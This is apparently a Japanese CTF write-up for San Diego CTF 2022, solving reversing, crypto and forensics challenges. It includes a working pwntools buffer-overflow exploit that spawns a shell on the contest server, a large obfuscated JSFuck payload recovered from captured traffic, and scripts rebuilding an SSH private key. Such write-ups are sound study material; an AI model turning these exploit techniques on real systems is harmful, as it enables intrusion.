San Diego CTF 2022 Writeup

この大会は2022/5/7 9:00(JST)~2022/5/9 9:00(JST)に開催されました。
今回もチームで参戦。結果は1255点で615チーム中105位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC 25)

問題にフラグが書いてあった。

sdctf{j3_n3_su15_p4s_un_r0b0t_!}

Ishihara test++ (MISC 100)

svgファイルで、6色が似た色になっているので、全然異なる色にして表示してみると、フラグが浮き出てきた。

sdctf{c0untle55_col0rfu1_c0lors_cov3ring_3veryth1ng}

Horoscope (PWN 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_38 [48];
  
  puts("Welcome to SDCTF\'s very own text based horoscope");
  puts(
      "please put in your birthday and time in the format (month/day/year/time) and we will have you r very own horoscope"
      );
  fflush(stdout);
  fgets(local_38,0x140,stdin);
  processInput(local_38);
  return 0;
}

void processInput(char *param_1)

{
  char *__nptr;
  int local_1c;
  char *local_18;
  int local_c;
  
  __nptr = strtok(param_1,"/");
  for (local_1c = 0; local_1c < 4; local_1c = local_1c + 1) {
    if (local_1c == 0) {
      local_c = atoi(__nptr);
    }
    if (local_1c == 3) {
      atoi(__nptr);
    }
  }
  switch(local_c) {
  default:
    puts("thats not a valid date >:-(");
    fflush(stdout);
                    /* WARNING: Subroutine does not return */
    exit(1);
  case 1:
    local_18 = "January";
    break;
  case 2:
    local_18 = "February";
    break;
  case 3:
    local_18 = "March";
    break;
  case 4:
    local_18 = "April";
    break;
  case 5:
    local_18 = "May";
    break;
  case 6:
    local_18 = "June";
    break;
  case 7:
    local_18 = "July";
    break;
  case 8:
    local_18 = "August";
    break;
  case 9:
    local_18 = "September";
    break;
  case 10:
    local_18 = "October";
    break;
  case 0xb:
    local_18 = "November";
    break;
  case 0xc:
    local_18 = "December";
  }
  printf("wow, you were born in the month of %s. I think that means you will have a great week! :)",
         local_18);
  fflush(stdout);
  return;
}

void debug(void)

{
  temp = 1;
  return;
}

void test(void)

{
  if (temp == 1) {
    system("/bin/sh");
  }
  return;
}
$ gdb -q ./horoscope
Reading symbols from ./horoscope...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/horoscope 
Welcome to SDCTF's very own text based horoscope
please put in your birthday and time in the format (month/day/year/time) and we will have your very own horoscope
1/AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
wow, you were born in the month of January. I think that means you will have a great week! :)
Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2104 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7dcf8c0 --> 0x0 
RDI: 0x1 
RBP: 0x4141314141624141 ('AAbAA1AA')
RSP: 0x7fffffffde08 ("GAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RIP: 0x4007bc (<main+101>:	ret)
R8 : 0x7ffff7dcf8c0 --> 0x0 
R9 : 0x7ffff7fde4c0 (0x00007ffff7fde4c0)
R10: 0xfffffff9 
R11: 0x246 
R12: 0x400670 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdee0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4007b1 <main+90>:	call   0x4007bd <processInput>
   0x4007b6 <main+95>:	mov    eax,0x0
   0x4007bb <main+100>:	leave  
=> 0x4007bc <main+101>:	ret    
   0x4007bd <processInput>:	push   rbp
   0x4007be <processInput+1>:	mov    rbp,rsp
   0x4007c1 <processInput+4>:	sub    rsp,0x40
   0x4007c5 <processInput+8>:	mov    QWORD PTR [rbp-0x38],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 ("GAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0008| 0x7fffffffde10 ("AHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0016| 0x7fffffffde18 ("AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0024| 0x7fffffffde20 ("4AAJAAfAA5AAKAAgAA6AAL\n")
0032| 0x7fffffffde28 ("A5AAKAAgAA6AAL\n")
0040| 0x7fffffffde30 --> 0xa4c4141364141 ('AA6AAL\n')
0048| 0x7fffffffde38 --> 0x3c44afd41a0b7a64 
0056| 0x7fffffffde40 --> 0x400670 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004007bc in main ()
gdb-peda$ patto GAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
GAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 54

BOFで"1/"+ 任意の54バイトの後にdebug関数のアドレスを配置し、リターンアドレスの位置にtest関数のアドレスを配置する。

from pwn import *

if len(sys.argv) == 1:
    p = remote('horoscope.sdc.tf', 1337)
else:
    p = process('./horoscope')

elf = ELF('./horoscope')

debug_addr = elf.symbols['debug']
test_addr = elf.symbols['test']

payload = b'1/' + b'A' * 54
payload += p64(debug_addr)
payload += p64(test_addr)

data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvuntil(b':)').decode()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to horoscope.sdc.tf on port 1337: Done
[*] '/mnt/hgfs/Shared/horoscope'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Welcome to SDCTF's very own text based horoscope
please put in your birthday and time in the format (month/day/year/time) and we will have your very own horoscope
b'1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn\t@\x00\x00\x00\x00\x00P\t@\x00\x00\x00\x00\x00'
wow, you were born in the month of January. I think that means you will have a great week! :)
[*] Switching to interactive mode
$ ls
flag.txt
horoscope
$ cat flag.txt
sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}
sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}

Oracle (REVENGE 130)

Bytecode Viewerでデコンパイルする。

import java.io.Console;

public class Oracle {
   private static final int FLAG_LENGTH = 42;
   private static final byte[] CHECK = new byte[]{48, 6, 122, -86, -73, -59, 78, 84, 105, -119, -36, -118, 70, 17, 101, -85, 55, -38, -91, 32, -18, -107, 53, 99, -74, 67, 89, 120, -41, 122, -100, -70, 34, -111, 21, -128, 78, 27, 123, -103, 36, 87};
   private static byte[] numbers;

   private static void firstPass() {
      for(int var0 = 0; var0 < 42; ++var0) {
         byte[] var10000 = numbers;
         var10000[var0] = (byte)(var10000[var0] ^ 3 * var0 * var0 + 5 * var0 + 101 + var0 % 2);
      }

   }

   private static void secondPass() {
      byte[] var0 = new byte[42];

      for(int var1 = 0; var1 < 42; ++var1) {
         var0[var1] = (byte)(numbers[(var1 + 42 - 1) % 42] << 4 | (numbers[var1] & 255) >> 4);
      }

      numbers = var0;
   }

   private static void thirdPass() {
      for(int var0 = 0; var0 < 42; ++var0) {
         byte[] var10000 = numbers;
         var10000[var0] = (byte)(var10000[var0] + 7 * var0 * var0 + 31 * var0 + 127 + var0 % 2);
      }

   }

   private static void fail() {
      System.out.println("That's not the flag. Try again.");
      System.exit(1);
   }

   public static void main(String[] var0) {
      Console var1 = System.console();
      numbers = var1.readLine("Enter flag: ").getBytes();
      if (numbers.length != 42) {
         fail();
      }

      firstPass();
      secondPass();
      thirdPass();
      int var2 = 0;

      for(int var3 = 0; var3 < 42; ++var3) {
         var2 |= CHECK[var3] ^ numbers[var3];
      }

      if (var2 != 0) {
         fail();
      }

      System.out.println("Good job. You found the flag!");
   }
}

フラグは以下の条件を満たす必要がある。

・長さが42バイト
・firstPass, secondPass, thirdPass実行後にvar2の計算で0になる。

ある文字と前後の文字が影響を受けるので、1文字ずつ条件を満たすものをブルートフォースで求める。このとき、フラグは"}"で終わることを前提にコードにした。

public class Solve {
    private static final byte[] CHECK = new byte[]{48, 6, 122, -86, -73, -59, 78, 84, 105, -119, -36, -118, 70, 17, 101, -85, 55, -38, -91, 32, -18, -107, 53, 99, -74, 67, 89, 120, -41, 122, -100, -70, 34, -111, 21, -128, 78, 27, 123, -103, 36, 87};

    private static byte firstPass1(byte num, int i) {
        return (byte)(num ^ 3 * i * i + 5 * i + 101 + i % 2);
    }

    private static byte secondPass1(byte num0, byte num1) {
        return (byte)(num0 << 4 | (num1 & 255) >> 4);
    }

    private static byte thirdPass1(byte num, int i) {
        return (byte)(num + 7 * i * i + 31 * i + 127 + i % 2);
    }

    private static byte allPass1(byte pre, byte cur, int pre_i, int cur_i) {
        byte v0, v1, v2, v3;

        v0 = firstPass1(pre, pre_i);
        v1 = firstPass1(cur, cur_i);
        v2 = secondPass1(v0, v1);
        v3 = thirdPass1(v2, cur_i);
        return v3;
    }

    public static void main(String[] args) {
        byte cur_v, next_v;
        byte[] flag = new byte[42];
        flag[41] = (byte)'}';

        for (int i = 0; i < 41; i++) {
            for (int code = 32; code < 127; code++) {
                int preIndex = (i + 42 - 1) % 42;
                cur_v = allPass1(flag[preIndex], (byte)code, preIndex, i);
                if (cur_v == CHECK[i]) {
                    boolean found = false;
                    for (int code2 = 32; code2 < 127; code2++) {
                        next_v = allPass1((byte)code, (byte)code2, i, i + 1);
                        if (next_v == CHECK[i + 1]) {
                            found = true;
                            break;
                        }
                    }
                    if (found == true) {
                        flag[i] = (byte)code;
                        break;
                    }
                }
            }
        }
        System.out.println(new String(flag));
    }
}
sdctf{u_f0und_th3_LANGu4ge_0f_th1s_0r4cl3}

Flag Trafficker (FORENSICS 150)

httpでフィルタリングする。
No.5732のパケットで、以下のようなHTMLデータがあった。

<!DOCTYPE html>
<html>
<body>
<button type="button"
onclick="[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())">
Click to display the flag!</button>

</body>
</html> 

この部分をHTMLファイルとしてエクスポートする。エクスポートしたHTMLファイルをブラウザで開き、[Click to display the flag!]ボタンをクリックすると、フラグが表示された。

sdctf{G3T_F*cK3d_W1r3SHaRK}

Susan Album Party (FORENSICS 100)

jpgが複数含まれているので、バイナリエディタで位置を確認しながら、抽出する。抽出した画像にフラグの断片が見つかるので、結合する。

#!/usr/bin/env python3
with open('stub', 'rb') as f:
    data = f.read()

with open('flag1.jpg', 'wb') as f:
    f.write(data[:0x232d])

with open('flag2.jpg', 'wb') as f:
    f.write(data[0x7640:0xd0f9])

with open('flag3.jpg', 'wb') as f:
    f.write(data[0xe443:0xfcad])



sdctf{FFD8_th3n_S0ME_s7uff_FFD9}

Vinegar (CRYPTO 100)

Vigenere暗号。https://www.guballa.de/vigenere-solverで復号する。

sdctf{couldntuseleetstringsinthisonesadlybutwemadeitextralongtocompensate}

Key Recovery (CRYPTO 250)

base64デコードしたバイナリから、各パラメータの位置を確認する。
https://coolaj86.com/articles/the-openssh-private-key-format/を参考にし、実験しながら整理する。

32-bit length, sshpub       :0x0197, 0x2b-0x1c1
    32-bit length, keytype  :0x07, "ssh-rsa"
    32-bit length, pub0     :0x03, 0x3a-0x3c(=0x010001=e)
    32-bit length, pub1     :0x0181, 0x41-0x1c1(=0x00e365...2f21=n)
32-bit length for rnd+prv+comment+pad : 0x580(0x1c6-0x745)
    64-bit dummy checksum?  :0xa9cc23cda9cc23cd
    32-bit length, keytype  :0x07, "ssh-rsa"
    32-bit length, pub0     :0x0181, 0x1dd-0x35d(=0x00e365...2f21=n)
    32-bit length, pub1     :0x03, 0x362-0x364(=0x010001=e)
    32-bit length, prv0     :0x0181, 0x369-0x4e9(=0x00892c...48a1=d)
    32-bit length, prv1     :0xc0, 0x4ee-0x5ad(=0x????...c519=1/p mod q)
    32-bit length, prv2     :0xc1, 0x5b2-0x672(=0x????...????=p)
    32-bit length, prv3     :0xc1, 0x677-0x737(=0x????...????=q)
    32-bit length, comment  :0x05, "SDCTF"
    padding bytes 0x010203  :0x0102030405

n, e, d がわかるので、その値からRSAキーオブジェクトを構築し、p, q, 1/p mod qを取得する。あとは再度、秘密鍵のデータに構成し直して、id_rsaを復元する。

#!/usr/bin/env python3
from base64 import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

KEY = 'id_rsa'
COR = 'id_rsa.corrupted'

OFFSET_LENGTHS = [(454 + 808, 190), (454 + 1004, 193), (454 + 1201, 193)]

with open(COR) as pk:
    lines = list(pk)
    b64 = ''.join((line[:-1] for line in lines[1:-1]))
    bys = bytearray(b64decode(b64))

for i in range(len(OFFSET_LENGTHS)):
    s = bys[OFFSET_LENGTHS[i][0]:OFFSET_LENGTHS[i][0] + OFFSET_LENGTHS[i][1]]
    assert s == b'\x00' * len(s)

n = int(bys[0x1dd:0x35e].hex(), 16)
e = int(bys[0x362:0x365].hex(), 16)
d = int(bys[0x369:0x4ea].hex(), 16)

privkey = RSA.construct((n, e, d))
p = privkey.p
q = privkey.q
pinv = privkey.u
assert n == p * q
assert hex(pinv)[-4:] == 'c519'

bys[0x4ee:0x5ae] = long_to_bytes(pinv).rjust(0xc0, b'\x00')
bys[0x5b2:0x673] = long_to_bytes(q).rjust(0xc1, b'\x00')
bys[0x677:0x738] = long_to_bytes(p).rjust(0xc1, b'\x00')

b64 = b64encode(bytes(bys))

id_rsa = b'-----BEGIN OPENSSH PRIVATE KEY-----\n'
for i in range(0, len(b64), 70):
    id_rsa += b64[i:i+70] + b'\n'
id_rsa += b'-----END OPENSSH PRIVATE KEY-----\n'

with open(KEY, 'wb') as f:
    f.write(id_rsa)
$ sha256sum id_rsa
687a497b47a7e8e6e88cafc6181fa0b3676548b989e7bff9bc87d55d450abd51  id_rsa
